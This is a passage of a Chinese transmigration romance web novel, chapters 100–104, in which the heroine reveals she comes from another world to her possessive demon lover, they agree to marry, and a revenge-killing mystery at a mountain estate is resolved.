“书上说,喜欢一个人就是想要靠近彼此、拥有彼此、占有彼此。” 他语速极慢,吐露出的每一个字都清晰可闻,夹带着外露且毫不遮掩的偏执与疯狂。 “池镜花,我爱你,我渴望靠近你、拥有你、占有你,我不愿让任何人出现在你身边,因为那是我的位置。” 他落下的话语仿佛瞬间化成一道道灵动的乐符,在池镜花的心间跳舞。 她的心跳开始不受控制地加速,双颊迅速泛起红意。 寂静片刻,池镜花深吸一口气,默默压下这份心悸,同时明白他为何总要向她索吻。 或者,更为准确地说,在他的认知,以吻证明爱意算是比较轻的症状。 在她出神思考的这段时间里,奚逢秋出其不意地捏了下她的指尖,令她回神的瞬间,另一只手覆上她的脸颊,轻轻地抚摸着。 一举一动绝对可以称得上温柔,只是暗藏太多的占有欲。 池镜花起初不在意,但等她此刻回首望去,发现原来身后早已布下密密麻麻的血红丝线,仿佛亲密地将他们连起他们彼此的血脉。 少年指尖继续轻柔地抚摸她的脸颊,视线一错不错地盯着她,唇角漾着笑。 “还是说,你不喜欢与我亲近了?” 池镜花愣了一下,随即快速答道:“喜欢喜欢喜欢,我喜欢亲你!” 不等他做出回应,池镜花已忙不迭地把他拉到床边坐下,正要解腰带脱衣裳,可一想到他们应该还不至于走到那步,索性算了。 她仰起头,双手用力捉住他的肩膀,深呼吸着,正在做心理建设。 少年垂眸温柔地望着她微笑,伸手将她耳鬓发丝别至身后,慢慢地,指腹探索到她的后颈,一用力,将人拥进怀中。 池镜花猝不及防地扑进他怀里,嗅见他身上的清香,惊诧几秒便恢复冷静。 她双臂轻轻环上他的脖颈,见仰起头还够不着他的唇,不由不满地催促道:“你头低点,快一点!” 少年轻“嗯”了一声,低头的瞬间,有一缕冰凉的墨发垂落在她的脸颊。 好痒。 池镜花抑制不住眼睫轻颤。 下一秒,少年以指尖替她慢慢拂去这摸发丝,指腹依依不舍地划过她的脸颊,甚至还想多停留一会儿。 池镜花对此一无所知。 她望着近在咫尺的薄唇,微微叹口气,紧接着,直接吻了上去。 当少女潮热黏湿的气息碰到他的唇瓣,撬开他的牙齿,奚逢秋指尖一颤,指尖无意识地插进她的发丝里,勾住她的一缕乌发,一圈圈地缠在自己的指尖。 池镜花意识模糊,可感官能力被放大无数倍,她能够清楚感受到穿插在自己发生的指尖,每一次的动作都在极轻地拉扯她的头发和神经。 嗯……有点舒服。 在与他唇舌纠缠时,池镜花差点忍不住哼唧出声,好在理智战胜生理上的愉悦,叫她硬生生地忍住了。 不过,在进行到一半时,意想不到的事情发生了,一向不容易满足的奚逢秋竟主动退出去。 他以舌尖舔舐描摹她的唇瓣,贴心地替她清理唇瓣上留下的亲热痕迹。 池镜花不解地睁眼,眨了两下眼睛,高涨的情绪逐渐平稳。 “怎、怎么了?” 见他这般,池镜花不由心下一慌,难道他难道终于发现自己那拙劣的吻技了? 奚逢秋如想起什么,不由轻笑一声,抬着水汽尚未散尽的蓝色双眸笑盈盈地望着她。 “我们好像还在偷情。” “额……” 池镜花一时语塞,她尴尬地挠挠脸,眼神不自觉地瞟向别处。 “其实严格来说,我们……”不能算偷情。 话没说完,她便看见对方操纵一截白丝迅速放下床幔。 暖色的烛光透过薄纱般床幔照进内里,床幔轻轻摇曳着,将二人隔绝在这狭小的天地内。 奚逢秋没有想到他想要天地间只剩下自己与池镜花的心愿,会在此刻以这种方式实现。 他的声音透着几分愉悦,“这样就好了,不会有人看见的。” ……该说不说,他似乎真把自己代入小三视角了。 可真是太过乖巧了。 池镜花忍不住唇角上扬,揪住他的衣领,仰面附到他耳旁,唇瓣几近贴着他的耳廓地轻声呢喃。 “奚逢秋,你不是小三,我们也不是在偷情,而是正常地恋爱。” 说着,池镜花冲他眨眼示意,“你懂了吗?” 100-110 第101章 第101章你可以随意欺骗我。 翌日,天刚蒙蒙亮,深冬里的湿冷空气无孔不入,院内了无生机的枯树枝上悬着厚厚的冰晶霜花。 池镜花一醒就听说赵星澜曾来找过她,现在正在吴清泽的房间里等她。 简直叫人一头雾水。 池镜花不明所以地眨眨眼,怕吴清泽跟他们家里的其他人一样出事,赶紧拖着奚逢秋一块往他住处赶去。 木门虚掩着,池镜花犹豫着推开房门,冷风中飘来一阵浓重的血腥,钻入鼻腔直达人的天灵盖,一股胆战心惊的恶寒由脚底突兀生起。 她颤颤垂下眼睫,注意到脚下一滩醒目的鲜红,藏青色的屏风后,还有两个丫鬟正跪在地上认真仔细地清理擦拭血迹。 怎么回事? 池镜花下意识望向身侧。 虽然看上去很像奚逢秋会做出的事情,可他昨夜一直与她待在一起,他们彼此相拥的触感应并非幻觉,所以,他应该没有时间做这些事情才对。 大约察觉出她的想法,少年笑着歪了歪脑袋,眼底唯独只倒映出她的身影,表情煞是纯良无辜。 “若我要杀他,一定不会留下这些痕迹。” “……” 她竟无法反驳。 池镜花在心里默默给他打上个标签:完美的职业杀手。 正思考这滩血迹究竟怎么一回事,拐杖与地板碰撞声响起。 池镜花抬头看见吴清泽在赵星澜的陪伴下从里屋走出,衣上一尘不染没有任何伤口,倒是旁边的男主,手臂包扎个严实,隐有丝丝血迹渗出。 更让人费解。 “池姑娘,你来得正好。” 赵星澜眼睛一亮,一个箭步走到她跟前,取出一张沾着血迹悬赏令,“这个,能否帮赵某交到衙门。” 【内容:请帮我手刃仇人】 【地点:落雪山庄后门狗洞前】 悬赏令还盖上了悬赏司“已完成”的红色印章字样。 而所有已完成被封存的悬赏令,悬赏令和衙门都留过档,也就很容易查出发布和接悬赏令的人是谁。 池镜花一眼就猜出发布悬赏令的人极有可能为云霞。 此事也得到赵星澜的点头认同。 他捂着受伤的右手臂,眉头紧锁,一副心事重重的样子。 “这是悬赏司已经封存的悬赏令,当我拿到时正要把这件事跟吴公子说,不想碰到云霞,大概是做贼心虚,她抬手就要抢悬赏令,虽没让她得逞,却不慎让她逃了,所以,池姑娘,还要麻烦你跟奚公子将这张悬赏令送至衙门,将事情的来龙去脉解释清楚,让官府派出捕快协助搜索。” 可以倒可以,而且池镜花能理解为何赵星澜要选她跟奚逢秋送悬赏令去官府,无非怕云霞半路又杀出抢夺犯罪证据。 只是,悬赏司制度已设立多年,这就表明衙门已默许这类事情存在,那官差为何要听信片面之词选择帮助他们呢? 似看出她心中疑虑,吴清泽飒然一笑,不知为何,笑容里透出几分苦涩与不甘。 “池姑娘不用担心,我以前做过县尉,想必那官府衙门会卖我几分薄面。 “而且,落雪山庄传出闹鬼传言对整个县镇都极为不利,我相信他们会有自己的判断。” 他的这两句话暂时说服池镜花,可她仍旧心存疑惑:云霞到底为什么要这么做?她跟落雪山庄这些人究竟有什么深仇大恨。 当池镜花有意提及这个问题,弥漫在吴清泽眼底的歉意愈发明显。 “是我的错……” 他的声音愈低,炽热的视线紧盯着坡脚的右腿,“其实这是我也是方才才想明白,我的这只右脚是在一次比武中受的伤,我虽受了伤,可却失手杀了对方……” 而这个人,恰好为云霞的亲哥哥。 在她的哥哥离世不久,她的父母也相继去世,只剩云霞一人被她姨妈一家所收养,所以在一开始,钱管家才没有查到她真实的家庭背景。 基于此,池镜花猜测,云霞是把自己家破人亡的结果全部归于吴清泽,所以也要让他经历同等痛苦。 痛苦…… 不知为何,池镜花觉得这两个字离她很近,正如幸福的的对立面即为痛苦,两者其实并无明显的界限,只在于认知。 可她喜欢的人偏偏认知极度不正常。 或许,她应该想个办法。 池镜花想让他的这种幸福延续下去。 她紧紧扣住他的手指,同他一道穿梭在街上,快速把悬赏令送到县丞手上,完成男主交代给她的任务,接着把他单独拉到无人池塘边,已等不到回房。 “奚逢秋,我想跟你说一件事。” 塘面的冰块依旧结得很厚,清澈的水面疑似冻着几条来不及沉入水底的鲤鱼。 阳光明媚,四周寒风簌簌,少女脸颊冻得通红,乌黑的发丝在冷风中飘扬。 她仰着头望他,双眼在阳光下亮闪闪的,神情前所未有地认真。 “你不是想知道我的身世吗?我可以告诉你。” 在去往衙门的路上,池镜花便一直在想这件事,“决定坦白”是她深思熟虑后的答案。 正如过去说的那样:只有在男配对她产生爱意的时候才能坦白身份。 她很确定,现在就可以。 “为何突然要与我说这个?” 少年极为不解地歪了歪脑袋,摇曳的耳铛轻轻划过颈侧。 也许是直觉作祟,他心中隐隐有种奇怪的感觉,觉得池镜花如同拂过他面颊的清风,分明就在眼前,却怎么也握不住。 “我没有问你了,不是吗?” 池镜花拼命摇头,“你虽然没有问我,可是我想主动告诉你。” 当池镜花说完这句话以后,她如清风明月不可追逐的感觉在奚逢秋心底愈发明显,给予他一种强烈的窒息感。 他或许不应该再让她继续说下去。 他猝然很想捂住她的嘴巴,以防她说出任何令他崩溃破防的事实,就像她曾说要假扮吴清泽的未婚妻那般…… 于是,少年慢慢抬手。 可如同提前预知他的想法,池镜花不想再被他捂嘴,干脆后退一步与他拉开些距离。 她思考半瞬,干脆用最简洁易懂的言语快速解释。 “我的家乡真的就在平安县,只不过不在你生活的这个地方,我这么说,你能明白吗?” 不在他生活的这个地方…… 奚逢秋微微怔住,铺在眼底的一层碎光骤然停滞,平静的表情慢慢起了变化,他不知怎地笑了起来,只是笑容里夹杂着破碎斑驳的光影。 “是异世吗?” “嗯……” 池镜花心虚到低头不敢看他,“对不起,我骗了你。” 她实在不想给自己欺骗他一事寻找任何蹩脚的理由,哪怕当初是为了在他手下求生。 因为她要亲手撕开自己虚伪的假面,摧毁他们之间这种靠她欺骗而得到的虚假幸福。 她希望他从此以后面对的是真实的自己,她想要他真正地快乐起来,想要与他体验最为真实的幸福恋爱,不掺杂任何其他成分。 奚逢秋早就清楚她最会骗人,可这跟他爱她没有任何关系,他爱她,是他单方面渴望得到她全部的爱。 渴望一个来自异世之人的爱。 被骗也没关系。 “没关系,你可以随意欺骗我。” 说着,他主动上前一步,指尖轻柔地抚摸少女柔软的脸颊,表情看上去煞是温柔,可眼底神色却弥漫着一丝难以言说的偏执底蕴。 “可是,既然骗了,为什么不一直骗下去呢?为什么 要告诉我实情?” 少年轻轻捧住她的脸颊,脑袋微垂,落下的黑发完全囚在她的两侧,似游龙般紧贴着她的面颊肌肤。 “池镜花,你在想什么?” 为什么要跟他坦白这些? 他又没问。 她是不是又要计划离开他了? 不行啊。 不可以的。 他们不是要好要一直在一起的吗? 池镜花为什么要变卦? 会不会是他又做错了什么事? 此时此刻,他从未像现在这般渴望融进她的身体、探知她的想法、想要利用服务她的祈求态度来满足自己那自私卑劣的想法:把她永远留在自己身边。 与他四目相对的池镜花无声地张了张口,眼睛慢慢睁大,什么也说不出来。 她自爆身份的目的分明是想消除两人间存在的隔阂,可当池镜花看见他眼底染上的危险和疯狂,瞬间明白他在恐惧。 他在恐惧因两人身份上的悬殊而无法一直在一起,当这份恐惧填满心底,他凭借本能想到了得借助各类手段,正如他一以贯之的生存法则。 池镜花觉得她也许做错了。 她本意是想帮他远离痛苦接近幸福,却她忽略可他痛苦执着的源头就是她自己。 当她告诉她的真实身份,他自然会害怕她的远离。 因为从很早以前开始,他的世界准则只有她一个人。 她的陪伴就是他活下去的唯一动力。 奚逢秋忽然抱住她,上半身几乎压在她身上,把她用力按在怀里,以冰凉的指腹一点点摩挲她的颈侧肌肤。 他实在不知道还要怎么做,无助到声音不停在颤抖,只好一遍遍地确认,得到一个很有可能并非是真实结局的回答。 “告诉我,你永远不会离开我的,对吗?” 第102章 第102章我想跟你成亲。 再度听见云霞的消息已是三天后。 由于官府的出手相助,他们很快就在城外边界找到正在逃窜的云霞。 由于云霞将赚来的钱全部交予帮她做事的仇鸿羽,连逃跑的路费都凑不齐,据官差打趣:要不是他们发现的早,这姑娘迟早也得冻死在荒郊野外。 但就算被捕,云霞也拒不承认落雪山庄的多条人命是在她的指使下由仇鸿羽所为,就是吃准了仇鸿羽人一死就是死无对证。 这时候,由池镜花在前些天费了不少口舌才交涉成功的官差,眨眼间变得异常好说话。 几人拍着胸脯立下保证,承诺一定会将此事办妥。 一旁的吴清泽在剥开事情的真相后脸色更差,身体虚弱到已经几乎片刻离不开人。 他一边用丝帕捂嘴咳嗽,一边劝诫官差严禁对云霞严刑拷打。 毕竟,整件事最先由他惹出,是他害了整个家族,还有云霞,所以,纵使云霞有错,他也要正确的方法解决,否则,他就跟云霞无异。 可云霞却并不领情,在被押解至官府时,吴清泽问她为何唯独不对自下手,云霞满脸恨意,留下的泪中掺杂的血水。 “我要你长命百岁地活着,却要少年丧父,青年丧偶,晚年丧子,孤独终老,身无一人,永生永世体会噬心之痛!” 似乎她的痛苦不被任何人理解。 吴清泽瞥她一眼,淡淡地回了句:“知道了。” 许久不曾出声的池镜花适才多看他一眼。 不知为何,比起奚逢秋,池镜花有种错觉:仿佛吴清泽才更像系统给她描述的攻略对象。 产生这种错觉不能怪她。 谁让奚逢秋跟书中形容的相差太大,所谓的“温柔好相处”不过表象,内里可谓截然相反。 池镜花忽然再次记起三天前发生的事情。 当奚逢秋抱住她,一遍遍确认她是否会离自己而去的时候,池镜花没有回答该问题,而是跟他讨论里自己在现代发生的事情。 她虽不是父母带大的,与父母间的感情没有爷爷奶奶深厚,可他们已把自己所能拥有的一切不求回报地给予她,哪怕血脉相连,这在世间已属罕见。 她记得,在离家穿书的前天,母亲下班以后偷偷敲开她房间的门,拉着她的手,絮絮叨叨地跟她回忆起自己在婴儿时期发生的事情。 可她哪里记得住。 池镜花感受着母亲指尖传来的温度,以及母亲话语中的不舍和担忧。 她觉着父母当初背井离乡来大城市谋生时,大抵也是这般吧。 唯一有所不同的在于:她记住了现在。 第二天一早,她在沙发上看见了父亲。 很早以前,父亲早已不再轻易进入她的房间,但又怕错过她的上班时间,于是在沙发上睡了一早上,在清晨主动提出要送她去时空局,在车里犹犹豫豫地问她何时回家。 池镜花不清楚这次任务会持续多久,只说了句“拿不准”。 她摇下车窗,偏头望着车外车水马流的街道。 她想起这里其实不能算作她的家乡,她留在这,只因为她需要父母,父母也需要她。 因此,她不是要回家,而是要与父母团聚。 静静听她说完所有话的奚逢秋不由自主地将脑袋埋在她的发丝之间,一举一动活像一只惹人怜爱的小狗,声音略显颤抖。 “那你要抛弃我吗?” 池镜花立即反应过来:“不会,我不会抛弃你的!” 虽然她不可能永远留在这个世界,但也没准备抛弃他。 即便没办法一直留在这里,可她绝对不能一走了之。 是池镜花一手让他对自己产生眷恋和情愫,若最后把他推开,这太残忍了! “就算要回去,我也会想办法回来的。” 即便时空局没有这方面的先例,但办法总比困难多,池镜花不信以她的聪明才智会找不到个两全其美的方法。 奚逢秋继续埋在她的发间没有应声。 即使他清楚池镜花没有欺骗他,可她口中的方法究竟存不存在却不可知,但她想要回去她所在世界的心情是真实的。 为什么呢? 他不是喜欢他吗? 既然喜欢他,那她的世界只要有他一人不就好了吗? 他可以满足她的一切,不管是什么。 正如他爱她,他的世界只有她一人。 不对。 奚逢秋瞳孔一转,微微松开环住她的双臂,垂眸一错不错地盯住她的眼睛,神色探究,迫切想要了解她心里最真实的想法。 “你爱我吗?” 池镜花愣了下,旋即态度诚恳地点头,“嗯,我爱你。” 若她对奚逢秋的感情只到“喜欢”,可远远达不到他们之间的亲密程度。 听她这般回答,本该是一件高兴的事情,可奚逢秋却觉得池镜花的“爱”与“喜欢”和他的不太一样。 他的视线、目光、情绪、思想早已受她摆布、被她占据,他恨不得与她日夜不分离,与她共生。 可池镜花不是。 她总要忽略他,而去考虑那些他不在乎的人或事。 也许因为他做的还不够好。 又或者…… 是池镜花对他的爱意远远不够,所以才导致她总在思考“离开”这件事。 “我要你全部的爱,要你只能待在我身边。” 对于无法做到的事情,池镜花不敢轻易应承,只好不停躲闪他的视线。 见状,奚逢秋没有逼问,而在认真考虑与她融为一体的可能性。 是要把她变成纸人与自己永远相伴?还是将她的皮囊剖开,用自己的部分填满她的? 池镜花不禁打了个冷颤,隐隐觉得他在计划什么危险的事情,立马抱住了他,手指轻轻抚上他的后背。 在此之前,池镜花早就知道他的脑回路异于常人,可是病情还是比之前更严重了。 但她并不觉得安抚他这样有多麻烦,如果男配没有因她情绪失控,那才真的完蛋。 奚逢秋却没再说话。 他长睫低垂、呼吸平稳,静静望着 自己的身影完全笼罩住她,彼此气息纠缠,依旧觉得他们合该永远在一起。 池镜花对此一无所知。 在落雪山庄事了,他们准备继续往京师出发的前一天。 天气格外的明媚,气温短暂回升,因她假扮吴清泽的真相早已公之于众,池镜花毫不避讳地拉着他在落雪山庄惬意漫步。 奚逢秋看上去还挺高兴的,前几日的阴霾似乎已经一扫而空。 经过赵星澜的住处时,两人看见他坐在院里的石凳上,举着玉佩,正在跟里面的纪望慕低声对话。 “我说小道士,你难道真的不好奇你师父的信里写了什么?” 纪望慕的悦耳动听的嗓音传了过来,语气中夹杂难以掩饰的雀跃之情。 赵星澜表情一本正经,皱了皱眉,想也没想就拒绝女主请求。 “那是我师父写给少庄主母亲的信件,不能拆。” 纪望慕一下噎住,泄愤地骂了一句“臭道士”。 接下来,不管赵星澜怎么哄,她就是不愿意再搭理他。 望着正在树下打情骂俏的男女主,池镜花眨了眨眼睛,蓦然记起原著中的一段番外,提到了这封信。 其实赵星澜的师父与吴清泽的母亲属青梅竹马两小无猜,刚好碰到男主要上京师办事要路过落雪山庄,所以他才让赵星澜送信,只可惜落雪山庄就已不复当年,他藏在心里的情意亦再也无法传达。 池镜花思绪不自觉飘散,又想起奚逢秋在原著番外里死亡的隐晦结局。 她不清楚自己有没有唤醒他的求生欲,帮他改变结局,但只要她还在他身边的这段日子,池镜花想把自己拥有的一切的、最好的捧给他。 “奚逢秋,等到了京师我们买个房子住一起吧。” 这并非由兴趣使然,而是池镜花计划已久。 原著里,男配在京城篇章出场时间极少,只有男女在办事时在街上遇到过几次,还不过打招呼的程度。 所以,若是按照正常的剧情来走,他们没有必要一直守在男女主身边,当然是趁着大好机会好好增进感情。 少年立于阳光下,微微偏头看向身侧,投在颈侧的模糊枝影一动不动,眉宇间凝着淡淡疑惑。 “只有我们两个人吗?” 池镜花神情坚定地点头,“嗯,只有我们两个人,不管是晒太阳、看月亮、还是数星星,什么事情都可以。” 什么事情都可以…… 像想起什么,他骤然弯了弯漂亮的眼眸,面上漾起个温温柔柔的笑。 “那我们可以成亲吗?” 话题转得太快,池镜花一下子没反应过来。 “什、什、什么?” 奚逢秋耐心地重复一遍,声音很轻,轻到只说给他们两个人听的。 “池镜花,我想跟你成亲。” 池镜花震惊地慢慢睁大双眼,什么也听不见了。 怎么突然就想到要跟她成亲了? 这发展会不会太快了! ……好吧,仔细想想,他们只是确认关系的时间有点晚,但却很早就一直暧昧着。 况且,他对自己的感情本就浓烈偏执,想跟她有个名分很正常。 虽然池镜花并不觉与父母生活在的城市是她真正意义上的家,那不过她想陪在父母身边。 可眼下不同。 她喜欢他,想跟他有一个家,想要伴他一生。 但在此之前,她得跟他确认一个关键信息。 少女假咳一声,睫毛在耀眼的日光下颤了一下。 “你知道成亲是什么意思吗?” 对于一个连感情都一知半解的妖怪,池镜花可不想跟他结了亲以后,结果发现跟现在没什么区别,那还不如保持原状呢! “结发为夫妻,生死两相随。” 像是心中早就有了回复,所以他答得很快,微微笑着,指尖摸上她的发丝,一圈圈地缠上自己的手指。 “我说得对吗?” “……” 虽然某种程度来说没毛病,可成亲的好处那么多,他偏偏一个不说,非得扯出生死大事,总让人感到瘆得慌。 池镜花觉得可能因他思考方式特殊。 思量再三,她还是顺从自我心意,郑重地点了点头,任由一阵清风把她的声音卷进对方的耳中。 “嗯,对,我们成亲吧。” 第103章 第103章融进她的血液。 自奚逢秋记事起,他就不曾理解父母间的病态拉扯。 听王府里的人说,母亲总要想尽各种方法把父亲锁在自己身边,父亲不回府就是不愿被母亲掌控一切。 可这种偏执的占有欲在母亲口中叫做“爱”。 母亲的爱导致她的眼里只有父亲一人,万物皆可被他当做留住父亲的工具。 爱,一旦沾染便再也无法抽身。 那时,奚逢秋觉得“爱”这种东西可真恶心,居然同时能让两个人变得如此癫狂。 但幸好他没有感情,不会爱上别人。 但现在,他想,他跟母亲果然是血脉相通的。 连在爱欲催生下的想法都惊人地一致。 ——他要把池镜花永远留在自己身边。 无论用什么方法。 正值午后,阳光明媚,地面枝影纵横,山路弯弯绕绕,路上行人罕至。 去往京师的马车里摇摇晃晃的,池镜花不知睡过去多久,阴冷的风顺着她的脊背、毫无顾忌地往下探索。 池镜花一个激灵惊醒,睁眼发现自己正被他搂在怀侧,脸颊贴着他的心口,耳畔正响起他清晰有力的心跳声。 “醒了吗?” 少年面带温和的浅笑,冰冷的指尖轻柔抚上她轻颤的睫羽,像好奇地探索什么。 在他指尖的抚弄下,池镜花长睫忍不住抖动了几下,抿唇稍稍偏过头去,以制止他这莫名其妙的行为。 “……嗯。” 其实,一上马车就困不能怪她,谁让他总是每晚都要缠着她亲好几次才肯罢休,就好像对这事上了瘾。 可池镜花体力实在不好,况且每每都要她主动,实在有够累人。 不过,只要力气用尽,奚逢秋就会反客为主,借助身形和力量优势,一个翻身,把她轻轻压在身下。 烛火摇曳,四周寂静。 罗帐不知何时又被他放下,在这狭小逼仄的环境中,模糊的光影影影绰绰地打在他的侧脸,冷白的皮肤映上一抹暖色。 少年氤氲在眼底的眼底的情欲尚未完全褪去,被扯乱的乌黑发丝顺势落在她身下的枕上,囚在她两侧。 他以微热的指腹仔细描摹她殷红唇瓣,帮池镜花擦拭唇边水迹的同时,注视她雾气朦胧的双眸,唇畔扬起,薄唇一张一合。 “说你爱我。” 隔着单薄的衣料,池镜花感受到对方传来的温度,如烈火般炙烤她的躯体。 跟被下了情蛊似的,她愣愣望着少年的绝绝五官,心脏噗通跳个没完,大脑迟钝到什么也无法思考,如同木偶般痴痴地回答他。 “我爱你……” 每日面对这样一张脸,她根本无法心如止水,不越陷越深才怪。 听到令人满意的回复,奚逢秋眼底笑意更甚,探出指尖,贴心帮她撩开早已汗湿的鬓发。 一举一动都在故意引诱她继续填补自己不知餍足的内心。 “还要吗?” 池镜花十指紧攥他的衣 裳,轻轻咬住唇瓣,耳尖红得滴血,假装生气地瞪了他一眼。 “不行,我真的要睡觉了!” 说罢,保留最后一丝理智的池镜花直接搂住他的脖颈,把他按在自己身侧,整张脸埋进他的心口,呼吸略显急促。 见状,奚逢秋微不可察地叹口气。 他垂下眼眸,瞥见自己在少女耳后留下的淡淡吻痕,心情格外愉悦,揽住她的腰肢,抱着她沉沉睡去。 想到这事,池镜花耳垂微微泛红。 她假咳两声,从他怀里挣脱,左右看了眼,发现马车里除了他们两人没有别人,想来赵星澜应该正在外面驱赶马车。 池镜花只好二度看向奚逢秋,发现他的视线一刻也不曾离开过自己。 视线交汇的刹那间,马车颠簸一下,奚逢秋墨发晃动,转瞬间露出个温温柔柔的笑。 “再过几天就要到京师了。” 话里话外隐隐透着期待之情。 确实如此。 毕竟现在离春节不足半月,而今年大年初一就是春分,就算他们不急,男主也得在春分之前赶到礼部尚书的家中,替她已故夫人迁坟做法事。 所以,落雪山庄事一了,他们才着急忙慌地离开。 离开前,吴清泽将几人送至门口,请他们在春日山庄景色醉人时过来做客。 池镜花不敢保证自己一定有空,只敷衍了句“再说吧”,拉着奚逢秋一溜烟地钻进男主的马车,撩开车帘朝吴清泽挥了挥手。 也是怕奚逢秋又吃醋。 但他们都准备成亲了,也该有点安全感了吧。 除了他,她真的不会再喜欢上别人了。 马车里,池子镜花推了下他,摊开掌心,俨然一副打家劫舍的样子。 “把你身上的银两拿出来给我看看。” 奚逢秋听话照做。 “这些皆为我接悬赏令的赏金。” ……突然觉得这银子拿在手里有点沉。 虽然过程有些血腥,可好歹是经由官府认证的合理求财之道。 池镜花仔细清点了下两人目前的所有存款。 挺多的。 但京师的房价应该也不低,不知道这点钱能不能在京师买个宅子。 大抵察觉她忧愁的点,奚逢秋弯起眼眸笑了笑,十分贴心地给出个解决方案。 “若是不够,我可以在京师接更多的悬赏令,京城的悬赏令,想必出价只会更高。” 池镜花抑制不住提高音量:“够了够了!” 她真的害怕他怕他又要上赶子做危险的事情,保不齐番外里的死亡就是因为他在京城接了某个悬赏令,结果被对方反杀。 听着概率极低,但只要有一丁点儿可能,她就不想让这类事发生。 奚逢秋望着她在笑,指尖轻轻抚摸她的发丝。 “没关系,只要是你想要的,我都会为你办到。” 池镜花微不可察地叹口气,“可我不想要。” 以她至上的行为准则固然让她感觉甚好,可她更希望奚逢秋能多考虑一下他自己。 马车不合时宜地又颠簸一下,池镜花顺势倒在他怀里的刹那间,双手抓住他的衣领,眼睛一眨不眨地盯着他。 “你以后做任何事情之前,一定要提前跟我说一声。” 少年不解地歪了下脑袋,坠在耳间的耳坠微微摇曳一下,悄然映上她的眼眸。 “任何事?” “嗯,任何事!” 少女忙不迭地点头,车帘被风撩起,一缕日光照亮她漆黑的双眸。 “就比如你瞒着我杀仇鸿羽那件事,其实完全可以提前告诉我,不管你做出什么决定,我永远都站在你这边,而且,我们都要成、成亲了,自然要毫无保留。” 克服心底最后的羞耻心,她便是一副理所当然的模样,可耳廓却传来一阵夹杂痒意的笑。 池镜花干脆扑进他怀里,利用他的身行完全遮盖住自己红透了的双颊。 “奚逢秋。” 她攥紧他的衣裳,声音沉闷而颤抖,“我真的很喜欢你……” 如果不是因为还有她在乎的父母朋友,她会留在此处,一直陪着他,与他谈着恋爱,做一对平平淡淡的夫妻。 虽然他可能对夫妻关系的理解有误,但没关系,她有耐心慢慢地教他。 最重要的是,他们会一直在一起。 “池镜花。” 他渐渐收缩力气,抱紧她,身下衣袍交叠,他的声音无助又颤抖。 “不要管别人了,好不好?” 可那不是别人,而是她在这世上仅有的两位亲人。 池镜花只能摇头。 可下一秒,他的掌心便按住她的后脑,丝毫不给她拒绝自己机会。 池镜花不动也不反抗,任由他低下头,将脸颊埋进她的发尖,贪婪地嗅她身上的气息。 少年身上一缕清冷的香气萦绕在鼻侧,池镜花脑袋晕乎乎地闭上眼睛,双手不自觉地勾住他的脖颈。 从后面看去,她像是整个人挂在他身上似的。 直到奚逢秋捧起她的脸颊,冰冰凉的轻额头抵上她的,闪烁的眼底铺上一层细碎的光。 “亲我。” 听清他说什么的池镜花猛地睁大眼睛,双手立即抵住他的肩胛,以防他出其不意地吻上来。 “等等!我们还在马车上呢,再说了,我不是都说了喜欢你嘛!” 怎么又要! 事实证明,他对亲吻这件事有瘾并非她的错觉。 可池镜花不是不想亲他,而是怕隔着车帘,他们的亲热行为会被男主看见,那多尴尬啊! 奚逢秋身体颤了一下,眼角微红,指腹十分不安地摩挲她的肌肤。 “求你……” ——求你爱我,求你亲我,求你别走。 池镜花心间一颤,根本无法拒绝他的示弱。 也不管会不会被别人发现,她闭上双眼,仰起头,慢腾腾地亲了上去。 池镜花想要速战速决,可当她正要与对方交换深入时,却被奚逢秋拒绝。 少年如品尝仙露那般反复碾磨她的唇,时不时舌尖轻轻舔舐。 “池镜花……” “池镜花……” “池镜花……” 奚逢秋不停呼唤她,却不需要她回应。 他明白她给不了他想要的回答,但他想要她在自己身边,他需要时时刻刻感受到她。 池镜花也确实没什么回应他的力气,光是承受他的挑逗已是极限,还得分心注意车外动静。 可他的一句句呼唤犹如散不去的微风在耳畔肆意游荡。 池镜花想让他给自己一个痛快的,又十分羞耻开这个口。 终于,她忍无可忍,攀附着他的双手扯了下他的衣裳,趁着他给自己喘息的间隙,低声警告他。 “你、你、你低声些!” 话音落下,奚逢秋没再喊她姓名。 他微微睁开情愫翻涌的眸子,望着少女薄红的双颊,顿住几秒,不知想到什么,他忽地咬破自己的唇瓣,俯身把自己的鲜血喂给她。 池镜花来不及拒绝,只感到一阵腥甜溢满喉咙。 顺流而下,融进她的血液。 第104章 第104章他应该懂得吧? 即便早已对他体内的毒素产生抗体,可浓烈的血腥进入喉咙的滋味并不好受。 池镜花本能地试着推他。 没推动。 少年抱住她的双臂反而圈得更紧,像缠住她的蛇。 他指尖的阴冷甫一碰上池镜花躯体传出的炽热,瞬间化为朦胧的水汽,顺着后颈肆无忌惮地往下游走 。 分明是冬天,可池镜花整个人都热的很,潮湿的汗水浸透贴在颈侧的乌发。 有种说不出的难受。 下一秒,他的指腹忽然抚上她的颈动脉,静静感受她心跳加速的盛况,唇上还在继续又轻又有耐心地碾磨她的。 比起以往,更像是在小心翼翼地试探她的真心。 ……不是都说过无数遍爱他喜欢他了吗? 池镜花暗暗叹口气。 但不得不说,虽然他的吻铁锈味很重,可池镜花很喜欢他这样吻自己,莫名有种被服务的快感,当然,她也在竭尽全力地回应他。 直到她筋疲力尽,呼吸愈发困难。 奚逢秋适才停下,舌尖舔舐她唇瓣的血珠,轻轻地将其卷入口中,喉结滑动了一下,吞入腹中。 他颤抖着睁开眼眸,睫羽半湿,薄唇红得不像话,眼尾还沾着莫名的湿意。 “池镜花……” 他声调颤抖,垂着脑袋,克制在眼底的情绪分不清到底是情欲难耐还是心里难受。 哎。 池镜花再次在心里叹气。 尽管唇还麻着,池镜花还是借助最后的力气坐到他腿上,双手勾住他的脖颈。 “抱紧我。” 怕她掉下去,奚逢秋立即握住她的腰肢,用力一带,消弭二人之间仅存的距离。 池镜花趴在他心口。 离得近了,即便隔着衣裳,她依旧可以感受到两具躯体传出的炽热在彼此交融缠绕,密密麻麻地织在四周,连带着周围气温都升高几度。 池镜花回过神,手指捧住他的脸颊,闭上眼睛,倾身靠过去,零落细碎的吻落在他的额头、眉眼、鼻梁、脸颊…… 每一处皆是她喜欢的模样。 大约由于闭着眼,池镜花身体其他其他感官能力被放大。 她清楚感受到身下的少年呼吸比他主动时更加粗重,绕在她腰上的力气也在加重,整个人比方才还要高兴愉快。 池镜花却觉得有些累人。 零零碎碎的吻一路划过他的五官和脸颊肌肤,最后,作为收场,她在他唇上留下个留下个蜻蜓点水的吻。 最后一丝力气耗尽,池镜花睁开眼睛,不好意思地抿唇,她颤颤抬眸,漆黑的瞳孔里雾气朦胧。 “都这样了,你还觉得我不喜欢你吗?” 